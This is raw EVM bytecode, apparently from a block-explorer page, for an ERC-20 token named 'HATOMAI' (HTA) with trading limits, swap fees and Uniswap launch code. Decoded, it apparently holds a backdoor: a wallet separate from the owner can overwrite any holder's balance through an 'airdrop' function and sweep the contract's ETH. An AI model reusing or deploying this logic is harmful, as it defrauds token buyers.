ffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119218486611e9690919063ffffffff16565b60405161192e91906121ff565b60405180910390a350505050565b5f838311158290611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a91906120c1565b60405180910390fd5b505f83856119919190612eb9565b9050809150509392505050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612f36565b60405180910390fd5b5f5b8251811015611a88575f838281518110611a4c57611a4b612f54565b5b60200260200101519050611a7a81848481518110611a6d57611a6c612f54565b5b6020026020010151611edf565b508080600101915050611a2f565b50505050565b5f808303611a9e575f9050611aff565b5f8284611aab9190612749565b9050828482611aba9190612fae565b14611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af19061304e565b60405180910390fd5b809150505b92915050565b5f611b4683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fd6565b905092915050565b5f818311611b5c5782611b5e565b815b905092915050565b6001601160156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b9d57611b9c6122a0565b5b604051908082528060200260200182016040528015611bcb5781602001602082028036833780820191505090505b50905030815f81518110611be257611be1612f54565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c86573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611caa919061286e565b81600181518110611cbe57611cbd612f54565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d243060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fb9565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d86959493929190613123565b5f604051808303815f87803b158015611d9d575f80fd5b505af1158015611daf573d5f803e3d5ffd5b50505050505f601160156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e35573d5f803e3d5ffd5b5050565b5f808284611e479190612dd7565b905083811015611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e83906131c5565b60405180910390fd5b8091505092915050565b5f611ed783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061193c565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4490612c35565b60405180910390fd5b5f811015611f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8790612d51565b60405180910390fd5b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808311829061201c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201391906120c1565b60405180910390fd5b505f838561202a9190612fae565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561206e578082015181840152602081019050612053565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61209382612037565b61209d8185612041565b93506120ad818560208601612051565b6120b681612079565b840191505092915050565b5f6020820190508181035f8301526120d98184612089565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61211b826120f2565b9050919050565b61212b81612111565b8114612135575f80fd5b50565b5f8135905061214681612122565b92915050565b5f819050919050565b61215e8161214c565b8114612168575f80fd5b50565b5f8135905061217981612155565b92915050565b5f8060408385031215612195576121946120ea565b5b5f6121a285828601612138565b92505060206121b38582860161216b565b9150509250929050565b5f8115159050919050565b6121d1816121bd565b82525050565b5f6020820190506121ea5f8301846121c8565b92915050565b6121f98161214c565b82525050565b5f6020820190506122125f8301846121f0565b92915050565b5f805f6060848603121561222f5761222e6120ea565b5b5f61223c86828701612138565b935050602061224d86828701612138565b925050604061225e8682870161216b565b9150509250925092565b5f60ff82169050919050565b61227d81612268565b82525050565b5f6020820190506122965f830184612274565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6122d682612079565b810181811067ffffffffffffffff821117156122f5576122f46122a0565b5b80604052505050565b5f6123076120e1565b905061231382826122cd565b919050565b5f67ffffffffffffffff821115612332576123316122a0565b5b602082029050602081019050919050565b5f80fd5b5f61235961235484612318565b6122fe565b9050808382526020820190506020840283018581111561237c5761237b612343565b5b835b818110156123a557806123918882612138565b84526020840193505060208101905061237e565b5050509392505050565b5f82601f8301126123c3576123c261229c565b5b81356123d3848260208601612347565b91505092915050565b5f67ffffffffffffffff8211156123f6576123f56122a0565b5b602082029050602081019050919050565b5f612419612414846123dc565b6122fe565b9050808382526020820190506020840283018581111561243c5761243b612343565b5b835b818110156124655780612451888261216b565b84526020840193505060208101905061243e565b5050509392505050565b5f82601f8301126124835761248261229c565b5b8135612493848260208601612407565b91505092915050565b5f80604083850312156124b2576124b16120ea565b5b5f83013567ffffffffffffffff8111156124cf576124ce6120ee565b5b6124db858286016123af565b925050602083013567ffffffffffffffff8111156124fc576124fb6120ee565b5b6125088582860161246f565b9150509250929050565b5f60208284031215612527576125266120ea565b5b5f61253484828501612138565b91505092915050565b61254681612111565b82525050565b5f60208201905061255f5f83018461253d565b92915050565b5f806040838503121561257b5761257a6120ea565b5b5f61258885828601612138565b925050602061259985828601612138565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561262557808604811115612601576126006125a3565b5b60018516156126105780820291505b808102905061261e856125d0565b94506125e5565b94509492505050565b5f8261263d57600190506126f8565b8161264a575f90506126f8565b8160018114612660576002811461266a57612699565b60019150506126f8565b60ff84111561267c5761267b6125a3565b5b8360020a915084821115612693576126926125a3565b5b506126f8565b5060208310610133831016604e8410600b84101617156126ce5782820a9050838111156126c9576126c86125a3565b5b6126f8565b6126db84848460016125dc565b925090508184048111156126f2576126f16125a3565b5b81810290505b9392505050565b5f6127098261214c565b915061271483612268565b92506127417fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461262e565b905092915050565b5f6127538261214c565b915061275e8361214c565b925082820261276c8161214c565b91508282048414831517612783576127826125a3565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127be602083612041565b91506127c98261278a565b602082019050919050565b5f6020820190508181035f8301526127eb816127b2565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f612826601183612041565b9150612831826127f2565b602082019050919050565b5f6020820190508181035f8301526128538161281a565b9050919050565b5f8151905061286881612122565b92915050565b5f60208284031215612883576128826120ea565b5b5f6128908482850161285a565b91505092915050565b5f6040820190506128ac5f83018561253d565b6128b9602083018461253d565b9392505050565b5f819050919050565b5f819050919050565b5f6128ec6128e76128e2846128c0565b6128c9565b61214c565b9050919050565b6128fc816128d2565b82525050565b5f60c0820190506129155f83018961253d565b61292260208301886121f0565b61292f60408301876128f3565b61293c60608301866128f3565b612949608083018561253d565b61295660a08301846121f0565b979650505050505050565b5f8151905061296f81612155565b92915050565b5f805f6060848603121561298c5761298b6120ea565b5b5f61299986828701612961565b93505060206129aa86828701612961565b92505060406129bb86828701612961565b9150509250925092565b5f6040820190506129d85f83018561253d565b6129e560208301846121f0565b9392505050565b6129f5816121bd565b81146129ff575f80fd5b50565b5f81519050612a10816129ec565b92915050565b5f60208284031215612a2b57612a2a6120ea565b5b5f612a3884828501612a02565b91505092915050565b7f417373697374204661696c6564000000000000000000000000000000000000005f82015250565b5f612a75600d83612041565b9150612a8082612a41565b602082019050919050565b5f6020820190508181035f830152612aa281612a69565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b03602483612041565b9150612b0e82612aa9565b604082019050919050565b5f6020820190508181035f830152612b3081612af7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b91602283612041565b9150612b9c82612b37565b604082019050919050565b5f6020820190508181035f830152612bbe81612b85565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c1f602583612041565b9150612c2a82612bc5565b604082019050919050565b5f6020820190508181035f830152612c4c81612c13565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cad602383612041565b9150612cb882612c53565b604082019050919050565b5f6020820190508181035f830152612cda81612ca1565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d3b602983612041565b9150612d4682612ce1565b604082019050919050565b5f6020820190508181035f830152612d6881612d2f565b9050919050565b7f4578636565647320746865205f6d6178416d6f756e7450657254582e000000005f82015250565b5f612da3601c83612041565b9150612dae82612d6f565b602082019050919050565b5f6020820190508181035f830152612dd081612d97565b9050919050565b5f612de18261214c565b9150612dec8361214c565b9250828201905080821115612e0457612e036125a3565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612e3e601a83612041565b9150612e4982612e0a565b602082019050919050565b5f6020820190508181035f830152612e6b81612e32565b9050919050565b5f612e7c8261214c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612eae57612ead6125a3565b5b600182019050919050565b5f612ec38261214c565b9150612ece8361214c565b9250828203905081811115612ee657612ee56125a3565b5b92915050565b7f61697264726f70206661696c65640000000000000000000000000000000000005f82015250565b5f612f20600e83612041565b9150612f2b82612eec565b602082019050919050565b5f6020820190508181035f830152612f4d81612f14565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612fb88261214c565b9150612fc38361214c565b925082612fd357612fd2612f81565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613038602183612041565b915061304382612fde565b604082019050919050565b5f6020820190508181035f8301526130658161302c565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61309e81612111565b82525050565b5f6130af8383613095565b60208301905092915050565b5f602082019050919050565b5f6130d18261306c565b6130db8185613076565b93506130e683613086565b805f5b838110156131165781516130fd88826130a4565b9750613108836130bb565b9250506001810190506130e9565b5085935050505092915050565b5f60a0820190506131365f8301886121f0565b61314360208301876128f3565b818103604083015261315581866130c7565b9050613164606083018561253d565b61317160808301846121f0565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131af601b83612041565b91506131ba8261317b565b602082019050919050565b5f6020820190508181035f8301526131dc816131a3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205ca2c340e92eb5da46a9bca17fc27fb081214b363dd2e95e9e6371e7b195e53264736f6c63430008180033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c8063715018a6116100945780638da5cb5b116100635780638da5cb5b1461033157806395d89b411461035b578063a9059cbb14610385578063aefa3814146103c1578063dd62ed3e146103e957610113565b8063715018a6146102c5578063751039fc146102db57806382b5deab146102f15780638a8c523c1461031b57610113565b806321d91921116100db57806321d91921146101d157806323b872dd146101fb578063313ce56714610237578063672434821461026157806370a082311461028957610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610425565b60405161013891906120c1565b60405180910390f35b34801561014c575f80fd5b506101676004803603810190610162919061217f565b610462565b60405161017491906121d7565b60405180910390f35b348015610188575f80fd5b5061019161047f565b60405161019e91906121ff565b60405180910390f35b3480156101b2575f80fd5b506101bb610485565b6040516101c891906121ff565b60405180910390f35b3480156101dc575f80fd5b506101e56104a8565b6040516101f291906121ff565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c9190612218565b6104ae565b60405161022e91906121d7565b60405180910390f35b348015610242575f80fd5b5061024b610582565b6040516102589190612283565b60405180910390f35b34801561026c575f80fd5b506102876004803603810190610282919061249c565b61058a565b005b348015610294575f80fd5b506102af60048036038101906102aa9190612512565b6105a0565b6040516102bc91906121ff565b60405180910390f35b3480156102d0575f80fd5b506102d96105e6565b005b3480156102e6575f80fd5b506102ef610734565b005b3480156102fc575f80fd5b50610305610863565b60405161031291906121ff565b60405180910390f35b348015610326575f80fd5b5061032f610869565b005b34801561033c575f80fd5b50610345610d8b565b604051610352919061254c565b60405180910390f35b348015610366575f80fd5b5061036f610db2565b60405161037c91906120c1565b60405180910390f35b348015610390575f80fd5b506103ab60048036038101906103a6919061217f565b610def565b6040516103b891906121d7565b60405180910390f35b3480156103cc575f80fd5b506103e760048036038101906103e29190612512565b610e0c565b005b3480156103f4575f80fd5b5061040f600480360381019061040a9190612565565b610f30565b60405161041c91906121ff565b60405180910390f35b60606040518060400160405280600781526020017f4841544f4d414900000000000000000000000000000000000000000000000000815250905090565b5f61047561046e610fb2565b8484610fb9565b6001905092915050565b60035481565b5f6009600a61049491906126ff565b633b9aca006104a39190612749565b905090565b60025481565b5f6104ba84848461117c565b610577846104c6610fb2565b610572856040518060600160405280602881526020016131e46028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610529610fb2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461193c9092919063ffffffff16565b610fb9565b600190509392505050565b5f6009905090565b61059c610595610fb2565b838361199e565b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105ee610fb2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610671906127d4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61073c610fb2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bf906127d4565b60405180910390fd5b6009600a6107d691906126ff565b633b9aca006107e59190612749565b6001819055506009600a6107f991906126ff565b633b9aca006108089190612749565b6002819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61083d91906126ff565b633b9aca0061084c9190612749565b60405161085991906121ff565b60405180910390a1565b60015481565b610871610fb2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f4906127d4565b60405180910390fd5b601160149054906101000a900460ff161561094d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109449061283c565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109e93060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109d591906126ff565b633b9aca006109e49190612749565b610fb9565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a53573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a77919061286e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610afd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b21919061286e565b6040518363ffffffff1660e01b8152600401610b3e929190612899565b6020604051808303815f875af1158015610b5a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b7e919061286e565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c05306105a0565b5f80610c0f610d8b565b426040518863ffffffff1660e01b8152600401610c3196959493929190612902565b60606040518083038185885af1158015610c4d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c729190612975565b50505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d129291906129c5565b6020604051808303815f875af1158015610d2e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d529190612a16565b506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4854410000000000000000000000000000000000000000000000000000000000815250905090565b5f610e02610dfb610fb2565b848461117c565b6001905092915050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e4c610fb2565b73ffffffffffffffffffffffffffffffffffffffff1614610ea2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9990612a8b565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eea610fb2565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f2c573d5f803e3d5ffd5b5050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612b19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c90612ba7565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161116f91906121ff565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e190612c35565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124f90612cc3565b60405180910390fd5b5f811161129a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129190612d51565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561130357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561168c576113446064611336600c54600e541161132357600854611327565b600a545b85611a8e90919063ffffffff16565b611b0590919063ffffffff16565b905060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113ef575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611442575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114fc5760015482111561148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612db9565b60405180910390fd5b60025482611499856105a0565b6114a39190612dd7565b11156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612e54565b60405180910390fd5b600e5f8154809291906114f690612e72565b91905055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561158457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115c8576115c560646115b7600d54600e54116115a4576009546115a8565b600b545b85611a8e90919063ffffffff16565b611b0590919063ffffffff16565b90505b5f6115d2306105a0565b9050601160159054906101000a900460ff1615801561163d575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116555750601160169054906101000a900460ff165b1561168a575f8111156116805761167f61167a8461167584600354611b4e565b611b4e565b611b66565b5b61168947611dd1565b5b505b5f81111561178b576116e48160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3990919063ffffffff16565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161178291906121ff565b60405180910390a35b6117db8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e9690919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061187e6118328284611e9690919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3990919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119218486611e9690919063ffffffff16565b60405161192e91906121ff565b60405180910390a350505050565b5f838311158290611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a91906120c1565b60405180910390fd5b505f83856119919190612eb9565b9050809150509392505050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612f36565b60405180910390fd5b5f5b8251811015611a88575f838281518110611a4c57611a4b612f54565b5b60200260200101519050611a7a81848481518110611a6d57611a6c612f54565b5b6020026020010151611edf565b508080600101915050611a2f565b50505050565b5f808303611a9e575f9050611aff565b5f8284611aab9190612749565b9050828482611aba9190612fae565b14611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af19061304e565b60405180910390fd5b809150505b92915050565b5f611b4683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fd6565b905092915050565b5f818311611b5c5782611b5e565b815b905092915050565b6001601160156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b9d57611b9c6122a0565b5b604051908082528060200260200182016040528015611bcb5781602001602082028036833780820191505090505b50905030815f81518110611be257611be1612f54565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c86573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611caa919061286e565b81600181518110611cbe57611cbd612f54565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d243060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fb9565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d86959493929190613123565b5f604051808303815f87803b158015611d9d575f80fd5b505af1158015611daf573d5f803e3d5ffd5b50505050505f601160156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e35573d5f803e3d5ffd5b5050565b5f808284611e479190612dd7565b905083811015611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e83906131c5565b60405180910390fd5b8091505092915050565b5f611ed783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061193c565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4490612c35565b60405180910390fd5b5f811015611f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8790612d51565b60405180910390fd5b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808311829061201c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201391906120c1565b60405180910390fd5b505f838561202a9190612fae565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561206e578082015181840152602081019050612053565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61209382612037565b61209d8185612041565b93506120ad818560208601612051565b6120b681612079565b840191505092915050565b5f6020820190508181035f8301526120d98184612089565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61211b826120f2565b9050919050565b61212b81612111565b8114612135575f80fd5b50565b5f8135905061214681612122565b92915050565b5f819050919050565b61215e8161214c565b8114612168575f80fd5b50565b5f8135905061217981612155565b92915050565b5f8060408385031215612195576121946120ea565b5b5f6121a285828601612138565b92505060206121b38582860161216b565b9150509250929050565b5f8115159050919050565b6121d1816121bd565b82525050565b5f6020820190506121ea5f8301846121c8565b92915050565b6121f98161214c565b82525050565b5f6020820190506122125f8301846121f0565b92915050565b5f805f6060848603121561222f5761222e6120ea565b5b5f61223c86828701612138565b935050602061224d86828701612138565b925050604061225e8682870161216b565b9150509250925092565b5f60ff82169050919050565b61227d81612268565b82525050565b5f6020820190506122965f830184612274565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6122d682612079565b810181811067ffffffffffffffff821117156122f5576122f46122a0565b5b80604052505050565b5f6123076120e1565b905061231382826122cd565b919050565b5f67ffffffffffffffff821115612332576123316122a0565b5b602082029050602081019050919050565b5f80fd5b5f61235961235484612318565b6122fe565b9050808382526020820190506020840283018581111561237c5761237b612343565b5b835b818110156123a557806123918882612138565b84526020840193505060208101905061237e565b5050509392505050565b5f82601f8301126123c3576123c261229c565b5b81356123d3848260208601612347565b91505092915050565b5f67ffffffffffffffff8211156123f6576123f56122a0565b5b602082029050602081019050919050565b5f612419612414846123dc565b6122fe565b9050808382526020820190506020840283018581111561243c5761243b612343565b5b835b818110156124655780612451888261216b565b84526020840193505060208101905061243e565b5050509392505050565b5f82601f8301126124835761248261229c565b5b8135612493848260208601612407565b91505092915050565b5f80604083850312156124b2576124b16120ea565b5b5f83013567ffffffffffffffff8111156124cf576124ce6120ee565b5b6124db858286016123af565b925050602083013567ffffffffffffffff8111156124fc576124fb6120ee565b5b6125088582860161246f565b9150509250929050565b5f60208284031215612527576125266120ea565b5b5f61253484828501612138565b91505092915050565b61254681612111565b82525050565b5f60208201905061255f5f83018461253d565b92915050565b5f806040838503121561257b5761257a6120ea565b5b5f61258885828601612138565b925050602061259985828601612138565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c